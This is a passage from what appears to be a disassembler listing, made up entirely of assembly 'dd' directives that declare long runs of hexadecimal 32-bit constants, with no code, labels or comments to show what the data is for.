67B1CA68h, 5B1BA384h, 9D3D99C7h dd 1D8BE76Ah, 5AB1CB92h, 0ADFF1057h, 83D6736Dh, 36723051h dd 4403DDEDh, 79872709h, 587F1C71h, 88AB0F2Ch, 0CF4FF343h dd 0F69BCD4Bh, 73CE40AFh, 0B74E6A45h, 4E560373h, 870A6F9Ch dd 0AD6AA02h, 9A772353h, 0BBD24486h, 9D6A0C3h, 5E21FAE2h dd 8DB547EDh, 0DB4355F3h, 373C3BA5h, 0D480CDE6h, 0FF58C780h dd 0D89D8252h, 0DD79C18Eh, 0F6675635h, 324AA168h, 28A7EF33h dd 594864D6h, 0FB067A61h, 635576F6h, 2CD89FBDh, 0B018778Fh dd 0EAAD81CEh, 0D2B41DB9h, 0D4EBAE43h, 0CFD68BF7h, 750283C4h dd 2C42A290h, 0CBD13592h, 20669559h, 0FE460F90h, 6148641Fh dd 0CCFFF1A5h, 7884F65Dh, 37D098h, 4FF3E9BFh, 7DE9AD9h dd 51B7965Ah, 0B3B6A7Bh, 24BD77E7h, 0A987CEB3h, 4FE58793h dd 1E2456B5h, 1E54FA1Bh, 0FBA47B5Bh, 42F42C1Fh, 7815B6Bh dd 63D6961Bh, 0BB33AA9Bh, 93242C8Dh, 0BE940EF3h, 8C710A2Eh dd 0BA816D6Dh, 0F5C5A7E8h, 9BC64BFBh, 0D377C361h, 0A6A51200h dd 9E2954D8h, 0E08B4B86h, 0FDBDCB5Bh, 375A1F7Eh, 2205E4C6h dd 8CF7F197h, 9D8CA55Eh, 0EA4E4878h, 56E2E92Ah, 0C83E1C89h dd 0CA8BFF7Fh, 3AA21800h, 46DB3D30h, 0F2D13436h, 0ADCC31DEh dd 0A9C81D2Eh, 0EC85E518h, 0D474D7E7h, 48A90FACh, 4A0D403Ah dd 822B1BD6h, 6DB0226Eh, 68781486h, 0F1649C41h, 3F610719h dd 0DC4215ADh, 0FC63CBD2h, 90C56E71h, 0A76F8C01h, 0B611568Ch dd 8A8A7457h, 4715210Fh, 6DF01929h, 65AF708Bh, 2A7C8DC4h dd 798D966Ch, 79086EBEh, 0A094402h, 0FBCA1532h, 885EDB6Ch dd 0CE58C10Ch, 0D73A4146h, 0DC2B52BCh, 660BE0C5h, 0FDF9220Eh dd 361C3FC8h, 201E6C1Dh, 97958913h, 0CD15F1F3h, 84E2E2CFh dd 0AAD73944h, 34963DB2h, 7F0E2A70h, 0CDF4A97Ch, 194CA935h dd 0EBE3E0A3h, 96150173h, 850B4E9Fh, 0C92B6C86h, 0CFA3ABC9h dd 287A3A74h, 435FD1F8h, 6F0A1616h, 0B5862917h, 0C208C030h dd 15189B07h, 0D1AD4ACFh, 25F05F36h, 7CB90B99h, 98A69185h dd 1D34AC2Dh, 0B04FE301h, 350960F7h, 5997DCCDh, 0C8A7338Dh dd 0BC0A8674h, 0BED1AF3Ch, 0D6054AA3h, 6FBD7B2Dh, 0D819F748h dd 44D12B38h, 546500E2h, 0F7527900h, 0C23CB320h, 19D89ED6h dd 9BD44F34h, 0B604C034h, 0E5DE7956h, 0F39FC8E2h, 2C0F7850h dd 0A4F411CEh, 0EE95EA75h, 2E8360F8h, 0F90249D2h, 71DF422Eh dd 43F2206Fh, 0DDC8E86Dh, 834B852h, 40206E18h, 1836FE4h dd 0FBAB9456h, 33C35B58h, 337F9D9Ch, 4ED37472h, 0F6DFD40Ah dd 37627960h, 5010F488h, 0B4B06B48h, 17DEA3F5h, 0E3AF0038h dd 6D332B2Ah, 509D7825h, 0BA05E7F7h, 2B805AD6h, 0A497499Dh dd 598788C3h, 32FB3157h, 3DC8F87Fh, 247EAE50h, 0A61A81E0h dd 6D4AAE09h, 29013A75h, 98DE647Eh, 5133952Dh, 0F3526731h dd 1207CC0Ch, 0D50F0F8h, 858B5882h, 17337DE0h, 0D92D10E6h dd 6CB49668h, 0AC9E9986h, 13317B18h, 1DAA9865h, 9567C86Eh dd 0DB016A2Ah, 94FA162h, 2280A9A0h, 0B763F3Ch, 7DF0D375h dd 839E8D2Eh, 8B106761h, 0F25FAF06h, 0ADE61E71h, 404659F3h dd 4178D7F6h, 1AEE062Ch, 423DA3Eh, 8CCD3838h, 0AFEF627Bh dd 4A3DDDCh, 2D3C4BB1h, 0E5FC4DD1h, 0D4128B8Bh, 2F92BBC0h dd 3607C9CCh, 6BA2776Dh, 634184EEh, 2FBD2E54h, 839127B3h dd 0CC0DA671h, 0FE6C8AE9h, 0E7FBEB3Ch, 78B19AB0h, 0F1F5A08Bh dd 0D8C111D1h, 99793947h, 0B8FCD90Dh, 4DF6C01h, 75B8564Ah dd 9B860114h, 67B16D8Ch, 3D3C47CDh, 0FE9CA84h, 0F7EBF5Ah dd 5F0007ABh, 8DF5EDFCh, 0EB9795A9h, 0B50435AEh, 7B41516Eh dd 0CADA4E2Bh, 0F4E63E2Bh, 0E147194Eh, 6FE292C5h, 6C40C11h dd 0C9A1AB87h, 2E35072Dh, 49BFA8B9h, 0D46B32D2h, 0AAB56FCh dd 9B6002A9h, 0DB82A854h, 5EBC4BA6h, 8A31FC7Bh, 0BFAD10F9h dd 4600DB53h, 2D60EACEh, 446F0D36h, 905EA80h, 241B5545h dd 170CD6F4h, 0A7BD145Ah, 0EEBBAE80h, 92DD7580h, 6863AF15h dd 27DA8A37h, 7D906F5Eh, 219E1BB9h, 0DF67AA62h, 0CF1E4AA7h dd 0AC54F1EDh, 796DF963h, 0E4D4D9F8h, 9154D918h, 0CC5857F7h dd 0A60C2B34h, 7087DC8Eh, 4F95D5A0h, 0C1070126h, 7E5047CEh dd 0C6B52976h, 0E134F897h, 2A6E1B0Ah, 8602BAE7h, 0E0B59C08h dd 0CF0867A5h, 9E642A12h, 3BAAED6Dh, 38CA116Dh, 0E04EECF4h dd 0C58A9ECFh, 0B8DC335Fh, 706604D2h, 0B15B8E18h, 0EC7C6139h dd 784C2930h, 0DEE15867h, 0DBBBC434h, 6D1E256Bh, 0F6AA44AAh dd 0E293BA7Fh, 0D2FF0201h, 4647BA5Ah, 0D1A0B801h, 76B04D70h dd 316430FFh, 0AD8E8B00h, 64A38E14h, 0E98FE8A8h, 0F96065F6h dd 44216EA3h, 0B3E084CEh, 5DD2DD5Ch, 8A5D9763h, 319B2333h dd 296093EBh, 24934CBBh, 38554283h, 21A58E06h, 93D4D482h dd 0EAB8F7C1h, 0B80343DCh, 90C89336h, 98BAD12Ah, 6A53892Ch dd 8A1F5A82h, 0B5745A88h, 0ADCE57ADh, 0C531763Ch, 0D562485Bh dd 5AF4EE7Fh, 273560EAh, 6423D836h, 72A5BD88h, 590F91D8h dd 0A9173A23h, 66979655h, 0FCA42629h, 9D98BBB9h, 84C02AFAh dd 265E0CEDh, 0E331D4CFh, 2A143083h, 0D31841A7h, 0D8C7DDD8h dd 46B1EBE8h, 1D41909Fh, 0D0C38145h, 0E4C31FF5h, 824F873Ch dd 6B30DF00h, 0A7AC07D3h, 55920FA9h, 0D9455BCDh, 70E07201h dd 0AB61CD5h, 7315EC0h, 0E2C6D834h, 3EE14493h, 582A46C4h dd 0E6641850h, 9E5084Fh, 32469983h, 60566116h, 0A61804C9h dd 0F155CD9Bh, 4BE3F657h, 16486587h, 3424E957h, 0F0E2B179h dd 79464CD4h, 2B9CA68Ch, 7E1D5BC9h, 14BA8C22h, 85BE0226h dd 5F1F3F96h, 8DC8A8C4h, 3F98FC7Bh, 0FD8FAD0Bh, 1AAD106Ch dd 0A7CAC15Bh, 1B9C129Bh, 0DDCC5FA5h, 0C303B675h, 2C3D44DDh dd 0E610145Eh, 522F1297h, 1F9FCD75h, 65DBC06Ah, 78DFE6Dh dd 0F81EC573h, 17FF1C93h, 6906FAB1h, 0CE3BF251h, 1E2677D4h dd 50FE2B8Ah, 6FB746F1h, 0C4C4C623h, 0C19D351Ah, 55C16428h dd 4342D911h, 448C9054h, 32EB924Ch, 5850EA1Ah, 0C0DDCDE3h dd 2E077B10h, 0DABE0B35h, 0A99ED443h, 24D44496h, 606D631h dd 940DA1C1h, 97B7CB13h, 0C9819F3h, 2BED0991h, 0E6C1903Fh dd 69128600h, 84BAF832h, 1FA9CC01h, 0B2EECF00h, 2D96FB3Eh dd 1B2D6A14h, 0FF99D5D6h, 9FB2C0D3h, 59EE700Eh, 566FF5B5h dd 0B5ED2Fh, 0B0BBCA2Fh dd 0E06F013Ch, 9B6A799Dh, 34279EC3h, 649B1D42h, 470A80DDh dd 84041D46h, 0E6EE91EEh, 0B9FA040Ch, 905A65B8h, 23A28934h dd 5EAE4303h, 47ED8EEh, 0E3EEDFA5h, 2739F5C1h, 0BE93A165h dd 46A8C339h, 99E821B8h, 0A99CAB5Bh, 4BC2B90Ah, 35EE1919h dd 33999B96h, 9E004B1Dh, 10E2E7B6h, 49839BBBh, 0BAB5C705h dd 0C9B29077h, 74F585DDh, 0B12BFFD5h, 0B09C1F38h, 430EE3C9h dd 9EC656C7h, 717ADF3Ah, 38A61A19h, 0B482C2BEh, 78C40C63h dd 38147E81h, 4433D9Fh, 0A77EAA67h, 3FE6166Eh, 0E62B67FFh dd 1B909118h, 0C41F763Ah, 880F4362h, 0DAAACA2Fh, 22A6592Eh dd 2E8497E3h, 0A4E92169h, 17A48Dh, 0E26CFE42h, 0ADB83386h dd 12E4E180h, 0DE5C5ADAh, 0FC0BEA80h, 17AC9670h, 3D4BE979h dd 3038CB68h, 19DB41B6h, 0FD643291h, 0BB8EC58Ch, 4D85862Ch dd 71076B0Bh, 0A2D2C3D4h, 24F16851h, 7C4ABAh, 1813501Ch dd 97740879h, 0ED0F5162h, 7775E6CEh, 97B6F040h, 0C7333E42h dd 0BC3C8E18h, 0CA388C66h, 0E8B9846Fh, 3446EE26h, 928C9C7Eh dd 0E4816E26h, 0ED40C466h, 4EF47641h, 36BE0766h, 88C40D7Ah dd 7040656Ah, 4B16A482h, 874A101h, 0B5E266B2h, 0AED47C58h dd 0C48F5C6Dh, 0CC4CA704h, 0FE803D80h, 0D2C17C3Fh, 2F912FD4h dd 5C7264C1h, 0D2604188h, 13D0CA1Eh, 68B92D8Eh, 7D04082Fh dd 0C8AEEDF5h, 0BF7F4080h, 0DBA78120h, 2B14FEADh, 14137364h dd 6FAD4A81h, 3AA87D4Eh, 0C29EA929h, 16740639h, 6F9E6F64h dd 21E65BE0h, 7EF1B2CEh, 0C1C04D17h, 0CCEAECC3h, 0BFC79666h dd 76747641h, 0AF10DC90h, 0E9477D3Eh, 0F4CB71BCh, 0FAC122DFh dd 24425C33h, 0E9E92FD1h, 76EFB6B7h, 50F42835h, 59F6A45Ah dd 0B2AE852Dh, 33355DAh, 96684B95h, 0D22D99ACh, 5DBE3637h dd 0FFE2EB58h, 0D96A6836h, 0C21BE492h, 2417B760h, 8D664CC1h dd 7ED6F8C3h, 3F0E7908h, 0BC2C027Fh, 5052895Bh, 5BE2AF94h dd 7640FD97h, 0B0BB22D7h, 9113709Bh, 29260B69h, 494EBB9Dh dd 752ACB6Bh, 0AC01D768h, 0FE4355AFh, 0D268F739h, 31732489h dd 9A0D0854h, 6FC95BEFh, 1576B03Bh, 545BEF5Ah, 0C1F3E325h dd 99ABD0D3h, 6190356Dh, 0B74A41A9h, 0DA5F4457h, 0BA66376Ch dd 402BFDE3h, 0E90D08B1h, 0B9A9B600h, 6C68ABB9h, 0CB8D6CF3h dd 0E3BFFD21h, 0A9EADDA2h, 9D7CE040h, 436DBB7Bh, 6E56B51Ch dd 0EAB60EF7h, 0D97F0A09h, 0ABCB4CD6h, 23801E7Dh, 0E4AEBCB7h dd 9D697BA5h, 952B9407h, 5F9F7D70h, 761C1324h, 121843DCh dd 744C67F4h, 0C52C81A2h, 0E7BD0FA3h, 75692A70h, 0B854128Ch dd 439AA42Dh, 0A075BE28h, 3EB4724h, 7B330ACFh, 3A02EE81h dd 46F088C9h, 0C11463BEh, 621FD991h, 0FBB2D51h, 0E0CDE580h dd 5EE39EE0h, 8566CFABh, 6DEB182Fh, 0BDE524BDh, 503B1035h dd 9257DF4Dh, 61AE187h, 0C669733Fh, 0B3F4CF36h, 0EBD368F9h dd 0BAC32D27h, 27AF4C5Ch, 0D3FDA038h, 0F047D277h, 99D142B0h dd 76BA5382h, 0BE33B31Dh, 0D2D4B189h, 0A66C4DB6h, 85D7F7FEh dd 82938E1h, 0C9F293D0h, 0F14A1A4Eh, 655102ECh, 6313B75Bh dd 2CB8FCC3h, 0AF120864h, 71F2955h, 4E45668Ch, 6ADF5B95h dd 184CDCB7h, 0EAD1CB9Fh, 6637F83Fh, 0BE49E9BEh, 2D8DAFC0h dd 58F3AD7Ah, 0A0D3A7F6h, 0F458699Ah, 13852CFAh, 7207FA71h dd 0DB99BCB1h, 494BC65Bh, 8D08C1D8h, 0D0513250h, 0F69B4E9h dd 71793416h, 0D9332665h, 5AAFC8DBh, 7C5D9F55h, 3322F6AAh dd 0EB0AB6A8h, 0DC92EB9Ch, 0D8FFE4CCh, 4307D30h, 26A984AAh dd 0DFCF8F13h, 99B40E02h, 0BF14A198h, 0E53A04BAh, 705C2EADh dd 601D47AFh, 243CA108h, 0A95EE106h, 926F1DDh, 0E2E0B339h dd 0DE9899F9h, 0A0BB2CF6h, 7F7C8532h, 0BE7056D3h, 8B8F1D56h dd 74D4DD45h, 5C694089h, 4F8D49F3h, 181516E4h, 318E2D77h dd 0CF3AFE85h, 0A04A772Ah, 50C976BAh, 0DDDA81CEh, 0F1577281h dd 707FBFB6h, 72DC9FE6h, 76CAD0AFh, 0D2EAC9F3h, 0DC1AB512h dd 33AFBE8Bh, 2A1010Fh, 88436FCh, 0CE2C4EC0h, 0CF2F3D43h dd 3980673Dh, 5F215BCAh, 37B3C9F6h, 1136EF72h, 0EE05A981h dd 3F6E7C0Eh, 9FCD0789h, 0A64EBC37h, 364DCDD6h, 4FF8248Fh dd 809A71B2h, 50932116h, 0C644A51h, 0FC62DD48h, 0EAE4E3C9h dd 0BE46A166h, 0E9E81B1h, 12268E42h, 49FEC015h, 7FFDDE6h dd 99523AF8h, 8765684Ah, 0CB7383FBh, 1461884Dh, 0E71CDA91h dd 3479D612h, 0B13C8799h, 0FF1EB0F2h, 0FE9F621h, 0A14D5E5Fh dd 0B459FFF4h, 24502533h, 0F2D1B896h, 0E16F8A68h, 8259B82Fh dd 9F5AB525h, 6326ACD0h, 8428AAFEh, 4EB87FF4h, 388420CBh dd 0E62E8008h, 0CB2DDD77h, 0D83C82B6h, 0E60293C5h, 158E1CD3h dd 0D76235FDh, 4C16C60Dh, 9C85768Bh, 5A09BB2Fh, 0C55E02DEh dd 8E39E26Eh, 8D72042Fh, 0BDE1D5DAh, 3F8FD005h, 49005284h dd 6484E44Ah, 0A6D9E5B9h, 0F930099Fh, 0C2B50893h, 0D45C7431h dd 0D8E81DCBh, 464812E2h, 0B096C930h, 2D4A0B1Ah, 0B3C5F9CCh dd 5800C6D3h, 3ACC983Ch, 4B2504F0h, 9FDE3FD7h, 0F79C9F00h dd 21CABB28h, 583E3243h, 28D6C4A3h, 4FAD213Fh, 56EF6E7Ch dd 85B7AF87h, 15B3648Eh, 71FE19EBh, 880910F1h, 1EC07809h dd 0EDA63463h, 8282BA51h, 590D6C25h, 0DD9E75Fh, 8A553455h dd 0E3B1ADD7h, 326D293Bh, 3C8AF979h, 26B5A829h, 31E7A81Eh dd 7B98304Eh, 0AAC84665h, 0F8ED9FCCh, 4E2E9471h, 784A2BD1h dd 84E48AFh, 0D9EA916h, 798B95Ch, 14F9EC64h, 0CCB5113Ah dd 0E89759E6h, 0FE24B72Fh, 0D6B4C240h, 0E97DA984h, 19E10479h dd 87C9CD77h, 838C20E9h, 55C5BA18h, 2B9B182Ah, 0BBA32722h dd 0A295C393h, 0BF716ECh, 818734A0h, 9E49A1F0h, 3ACF477Eh dd 9B1C5B07h, 9A772E60h, 0B5F04A88h, 0B21EC9CAh, 0C8A2F518h dd 7DFDF521h, 0BE7616B5h, 0B382A2D8h, 534971B9h, 23122E5Fh dd 68A2D546h, 0D4772F8Bh, 0F2AEF379h, 9F18D9DAh, 0A6885A05h dd 649BB2C4h, 697EC5B7h, 0FAED6E76h, 0FA88B99h, 0A18647BCh dd 450A2959h, 58538F0Ah, 38ACBC8Bh, 9C3A495h, 408651F9h dd 1EB095C9h, 9043D828h, 6EC33F21h, 62107342h, 336AA2Dh dd 0E4B61BC8h, 6ECA6F58h, 0A8BCBC8Bh, 8D8EF317h, 985872DCh dd 9040551Eh, 334E3741h, 16A22D46h, 0AAE41E7Ch, 2A176B00h dd 8EA8A31Ah, 89B9948Ch, 9E137067h, 0CAE8B9ABh, 4E6C596Ah dd 0AD58261Ah, 0E34A55CDh, 0BED87079h, 0F82DA744h, 467621D2h dd 66B45D49h, 6F58FFE1h, 86DC7AB0h, 71EFA781h, 0D3365954h dd 0E4328E52h, 0CC82A2DCh, 0D2CDDC9Eh, 0CA216D69h, 53A8122Ch dd 9E3A4155h, 49C4996Eh, 26784A09h, 74E19415h, 8716FE9Bh dd 8CCBE996h, 0B407995Bh, 44A37697h, 91AA13A8h, 6443124Bh dd 402197h, 9FBA6AC6h, 0EE89D4B2h, 9DF1A3D6h, 54BFC768h dd 0BB9215EEh, 0CB4F3181h, 39E08Ah, 0B2015287h, 0B301946Ch dd 0B740C2AEh, 5614EC92h, 0C40CB833h, 71DD1BF2h, 0D65A0BE6h dd 1FB4AFECh, 6BE0D08Ah, 0D7C9B56Fh, 0EA1262BEh, 0EF928451h dd 0CE6FB1F5h, 18914433h, 57DE8A1Fh, 9C86A351h, 24042A88h dd 0E0B941DAh, 60084527h, 0A663A7ABh, 0B48F6FCCh, 7B6E4A82h dd 0B18710EEh, 3214A313h, 0DFF889ACh, 9811E672h, 8A533B8Bh dd 0B52FE603h, 375CC013h, 948C7821h, 0D328B8D3h, 7B32E2EDh dd 488AB75Bh, 5D058B2h, 0D8F83AB9h, 0C4F78BB2h, 2407A79Fh dd 559D45C4h, 0E0E66853h dd 2000D582h, 0E25B2884h, 40CE645Fh, 0E3D927C5h, 248E449Fh dd 67D3C81Dh, 0E482AE2Fh, 0F8A0E5CBh, 0FF50084h, 90B14AF6h dd 96C653CEh, 0A5F4BEBDh, 81ECE78Eh, 0B8B2B02h, 8A9DD77Dh dd 0CC299CF5h, 10712CDCh, 15C8E23Bh, 927D44EFh, 0E3DE5291h dd 23DFC0C4h, 343DFE9Bh, 0DCFF805Fh, 0FF12E7A2h, 357C2064h dd 5484EB2Bh, 0C0376880h, 0B08C0CC7h, 9E572413h, 0F5BD828Bh dd 0CA399339h, 69CE212Eh, 0E50FA449h, 0CA4B39FDh, 0FB1E0C46h dd 187E3895h, 2F193151h, 2ED35EF9h, 0A3B6AF96h, 5EA833A1h dd 0F69DF4BFh, 20755A52h, 957AC950h, 1BA892B8h, 6AA3F08Dh dd 43F507h, 0E7C0D6EEh, 93E6C8F2h, 2CB8006Dh, 0F4349024h dd 1199CA85h, 0D86F599Bh, 6FF4E9B6h, 5119B90Bh, 0F29199E3h dd 0B3C93EB7h, 0F5BDDA13h, 299453A1h, 0EE147F93h, 24E58575h dd 87ACC4FFh, 0A05BB371h, 8A892333h, 1C861EEh, 14C6E86h dd 0DA48032Dh, 8DA75559h, 4CAA8956h, 329F53F4h, 0F11AA51Bh dd 55FD1F38h, 5445B324h, 0FCD682E4h, 52C38D48h, 9B5ED560h dd 0D47BB8C5h, 8E6FA36Ah, 9E2FEAC0h, 0D135E074h, 53EE883Dh dd 0F8BB3352h, 4B2F8025h, 0A10EFD69h, 3454BCCCh, 0AE52ACF8h dd 76C8F59Dh, 0BEACDC06h, 348EA414h, 0DA41BB8Bh, 0CC8E1EE8h dd 0B0D2132Ch, 0A838FCC4h, 13155DFCh, 97EF1C61h, 86CC9CFFh dd 0BCAFB731h, 0C2789CF4h, 58E57E7Bh, 738B06FEh, 594A4A14h dd 27DE8B5Ah, 9FFA8375h, 0BFE7763Bh, 0C6070395h, 0B589EDBh dd 8623F6ACh, 0ACDFF8D0h, 264D96B1h, 5510F892h, 0A4A51BFAh dd 0A4CE42Eh, 51027785h, 8AF1D9EEh, 4A0D4EA6h, 0D1A3C6E5h dd 95634138h, 0C7A7AC10h, 8C13CB87h, 47101778h, 0D013FD91h dd 9E4F2848h, 0D29EDFDCh, 0CC0939E4h, 3FE3A7E4h, 0D0ED6025h dd 0CD154405h, 4F55776Eh, 920CED03h, 7F842DEh, 227ECE85h dd 0B0B57BF0h, 56BACCBh, 7474DAC0h, 0A7B11A4Ah, 6919EA81h dd 3A66093Ah, 474542EEh, 0DC262EDCh, 0EE8167B4h, 0A13D4E9Fh dd 50E2C206h, 6411BCBAh, 35EEC4DFh, 6B54F0B5h, 447791E3h dd 964560E6h, 0EA8F8124h, 3170195h, 1485ABA5h, 84ED98Fh dd 0DEF5774Ch, 936781F5h, 6EF80126h, 0F90B7C57h, 28CDCB86h dd 93E8D0D8h, 6A0862CCh, 837A936Bh, 0D86B86B0h, 6E376C95h dd 7E1F49B7h, 3EA650D5h, 6F752036h, 0C71B69C8h, 0C97BD2A8h dd 0BD830CE2h, 83B90C55h, 0C52DDDDAh, 0D03870F7h, 455A284Ch dd 0AA0A4D1h, 135D63BEh, 0E9058AB1h, 99FA94AAh, 64A742D1h dd 9FD01CEFh, 0BB9402EDh, 4EE580D0h, 363F90B6h, 4BE3860Ch dd 0B20A74Ch, 0A53E9F59h, 0A22F6A4Ch, 0FD804672h, 0A475B8D4h dd 96D7AAA2h, 0F2F9EA08h, 1CC1D2F6h, 1B57FD39h, 926538Dh dd 29161A10h, 0F66B842Bh, 0C93C87Dh, 1DF52562h, 0F1208D9Eh dd 99017AA2h, 0B5BB8227h, 0FA339358h, 0AEC1AEA1h, 0F45C95C9h dd 2F535E41h, 934D148h, 0A3CBD914h, 0E2EABBBAh, 8FE77CE3h dd 5A10AB97h, 0C120D068h, 0A9263040h, 98862396h, 0E77ACD4Dh dd 40A1D6E5h, 471B3C64h, 344C87ADh, 967B1F96h, 0CA75657Eh dd 2BF4C871h, 7EA01811h, 9779A5CFh, 0A0EAA854h, 3ABB4B45h dd 98F19488h, 0E5A3E034h, 1A8D8E13h, 0E0AED90Ah, 0FE5CFB7Fh dd 0EC4BE770h, 2E69A2ADh, 0A63226D8h, 0DBC120B0h, 8442E1F8h dd 9608A15h, 856E30Ah, 65596300h, 0A3CF7602h, 0FDC08045h dd 2CEB58DEh, 2658E689h, 5B77973Bh, 96FDCFB1h, 9707ECC7h dd 71A386FEh, 0C980C45Bh, 0AA6F4CFDh, 0A074FEE6h, 4DA5C9Bh dd 8F535298h, 2D8DB234h, 0D3C50BADh, 0FCB27D0Fh, 116D6388h dd 57954CF2h, 593EFDBh, 8DCB35F3h, 60723EFEh, 0FA6E3859h dd 73FE7670h, 0A8DE4577h, 8F63513Ah, 47F491C4h, 0BE3D58EDh dd 90E7A1C3h, 0BF63EFFBh, 8A5F0774h, 0BB16E3A3h, 0E7D1D823h dd 7F41B1C2h, 0A8D44BD3h, 0E413CD43h, 6D65811Eh, 0A3BAF163h dd 2E3A99BCh, 65C1806Dh, 0D4D03815h, 6C55B88h, 87AF4215h dd 0ABCE2815h, 0CB6EAD67h, 7A38C49Ah, 170BC20Fh, 0D19770B0h dd 81131E8Bh, 0F8EA60F1h, 2B7E53B6h, 3B6B8FEh, 90C1015Dh dd 55D18724h, 343ACE95h, 0E83AE317h, 1BF047F6h, 0AD240A52h dd 11117DB0h, 68F5B0BAh, 0B8344FDAh, 0C988F5F3h, 7EEED32Ch dd 0B1E1D155h, 0B415BD31h, 5C74CCC0h, 0E8EAFD8Eh, 0E6F57F32h dd 5AC1F252h, 0F8B5AC27h, 5CB914B2h, 7B48C148h, 18E9A56h dd 0FA98ADA9h, 0AB6E4547h, 31904481h, 0BD833414h, 5974709Dh dd 8767C738h, 0A5CAA055h, 0C2036C9Dh, 48347FB4h, 0A532DF7Dh dd 80B5B8Dh, 413FDC77h, 59C4DCEBh, 3E70F4C3h, 638353Ch dd 2F104FCBh, 0B0DB6225h, 0F72DE54h, 8DAB10C3h, 1519A79Fh dd 0C9EFDC8Ch, 33820532h, 59187EA8h, 48B10BB1h, 2455A888h dd 0A83CDE7h, 6A61FF8Ah, 6848AEECh, 0D4C2A6FDh, 0BBFAD85h dd 0D3DDDB15h, 1A903190h, 0AD3C2AA9h, 0C94E3004h, 0FA157C25h dd 0D89BF74Dh, 0EE8E29C4h, 0CC01995Bh, 830256B9h, 0D167BF1h dd 0F6F1B154h, 0A3FD0AA5h, 7968A0A7h, 82FA6482h, 0B996A2B0h dd 71BCE284h, 36CF0136h, 0F89802FCh, 5A562B9Bh, 0ECCEE43Ah dd 0C0165BA9h, 910F7823h, 2280CEA5h, 0B982C76Eh, 840C2145h dd 3BBB8E76h, 82FF8579h, 76B1908Ch, 55F4B4CFh, 7D4CA24Fh dd 93B4704Dh, 0ACB93F5Bh, 0ACA358F3h, 3D24601Dh, 92235FA3h dd 7B454505h, 0AB70553Fh, 0C3EB0BB9h, 915E43A5h, 93076Eh dd 6011C76Ah, 149F58D2h, 77FBE2BBh, 4F5C07D6h, 0AACAF9B0h dd 0B2ACB6E8h, 0BCF90027h, 0AA138A1Eh, 65574E3Bh, 0FF4EFD49h dd 0B20F9E7h, 46CB6715h, 0F9D26339h, 5370D201h, 96072DAAh dd 387C9AA0h, 4F50E948h, 0FDBD898Eh, 0E0C2AB6Dh, 2BF40F6Bh dd 0FAE289A5h, 75626238h, 0A93DF73h, 9A81A375h, 8BEC88A9h dd 728602A1h, 709D68D2h, 5E374A3Fh, 641B2A08h, 0E9A83D5Fh dd 71EF0A73h, 0B494DF8Eh, 9021FEF4h, 6838BE0h, 0EB9A0848h dd 0BE3D87BFh, 1D310CF4h, 0C87AC40Bh, 8AE40AB3h, 0E2E25838h dd 0F56493F7h, 0F57036CDh, 0B2F58C15h, 0DC9F84ABh, 7E58CD93h dd 1FAAF66Fh, 1B8CC79Bh, 0B79595BDh, 0B3FA0D9Fh, 61B8A3F5h dd 432FAEFAh, 99D1ED46h, 4ABC3C32h, 0A8CE4B01h, 96D92176h dd 1C333408h, 0FC1B07BBh, 9F6B5C62h, 0BA867B5Bh, 3F996234h dd 0D70A5F15h, 59C54294h, 2D58EB4Dh, 0AED096E7h, 879D4E11h dd 92BBE9C2h, 9A217F92h, 5730AE69h, 3C72FB90h, 53C7571Eh dd 4EBD3D3Ch, 0BF98B97Ch, 320B2E27h, 458A8224h, 0D942801Ch dd 5D6D6A46h, 8304DE77h, 0D4B80DB6h, 4E185EC4h, 0E58CF348h dd 83EB060Fh, 0D586620h, 671B688Ch, 5976F30Bh, 3E6D2896h dd 0E87FD9CAh, 8E186D85h, 657224D0h, 3F58EB59h, 975BA10Eh dd 0C752A4C9h, 0E6BD0B6Bh, 3C30D0E9h, 50A4BC98h, 37DA978Dh dd 5653151Dh, 57269744h, 0A4967A53h, 9E1047EEh, 0CFD70CE7h dd 0AF9F5D8Bh, 0B9F2934Dh, 0EC9FD339h, 81634C66h, 582109B5h dd 8F420E87h, 0B57D2E44h, 52BD2F9h, 99E674DDh, 68A0EF1h dd 0DE2CC565h, 0CC3ED46Fh, 3F61BF89h, 67CF20Ch, 94EC7C8Dh dd 78855EE1h, 8E7FA4DFh, 3BF058F6h, 0E7A127D8h, 0ED348DABh dd 20A0A23Fh, 54F5A35Dh, 1328652Ch, 0CB4687C6h, 0CF849458h dd 147EB0BEh, 3924D52Bh, 800C394h, 6487E279h, 84919FD2h dd 0B053FFFh, 1106920h, 8CCE5438h, 8C5D1FC0h, 15FC256Ch dd 2DCF6A62h, 2FB761D1h dd 0E63D507Dh, 9A4ECE3Ch, 20DF7DA8h, 177A0FAEh, 0D48EFADBh dd 966C6CE3h, 0D38615AFh, 0C052FEBEh, 40F7DB0Ah, 6122294Fh dd 32A8C2E6h, 4CE7982Fh, 54C7D767h, 0DB57DC91h, 0E08B8209h dd 7EA143D7h, 0B1EDBE61h, 0FA75BC28h, 5DBEF36Dh, 0B97EA89Eh dd 593530DDh, 8C06527Fh, 2BE8DDAh, 0E49EC524h, 0DA8BABF3h dd 9D2ADFBCh, 96B8876Ah, 7866C7C7h, 98CBFAAFh, 0ED63B8CDh dd 575B8454h, 0BB75B018h, 8FB4B66Dh, 71ABDE15h, 0E3C7BB3Bh dd 28AF03DAh, 7C04129Bh, 0AFEAC94Ah, 8D817CBFh, 7B0B971h dd 0B6FB0B45h, 0C7D8C8Ah, 0B3743F35h, 0FBAE2A0Ah, 0B67BC537h dd 1CA47F7Dh, 41996AC2h, 0E182BA3Fh, 6E94FFEBh, 26173BEFh dd 0A858F040h, 23CF04F4h, 0E882F5F5h, 0B474B2B1h, 236CEA56h dd 0D7254149h, 0EEAD636h, 30577484h, 0BF284453h, 0B9BB0EB9h dd 0FCF9929Bh, 3B57F573h, 47A8EDF9h, 6029D735h, 8BBC2133h dd 0CDE7A260h, 2B7FCEF3h, 0F7563E46h, 0F757D327h, 2B5E9D6Bh dd 0F3BFED0Ah, 6560DB1Dh, 7B7448BAh, 6F7182A0h, 982341E0h dd 48359A5Eh, 8E95A495h, 2768E78h, 0B3E2C6FBh, 880B60FEh dd 17196203h, 0F17663ABh, 13B39908h, 854F1FECh, 45825347h dd 0DEFF0F3h, 5960FB73h, 252773DFh, 0F7690044h, 0EE84761Bh dd 0CCEC6B8Bh, 241C8F9Eh, 8D46E1C9h, 9284FE1Dh, 0FA58FC66h dd 38E74A80h, 726132F4h, 166FD3F3h, 9BC3E364h, 82A4D862h dd 0A19EA527h, 8B394479h, 57C500B4h, 3AD25E8Bh, 0D7684E94h dd 861CB9D0h, 9F359DC3h, 28D64A29h, 0D5507CC6h, 0BCF3A71Bh dd 0B22BC111h, 0A863D0EFh, 760A498Eh, 0BF426211h, 0F444FDC9h dd 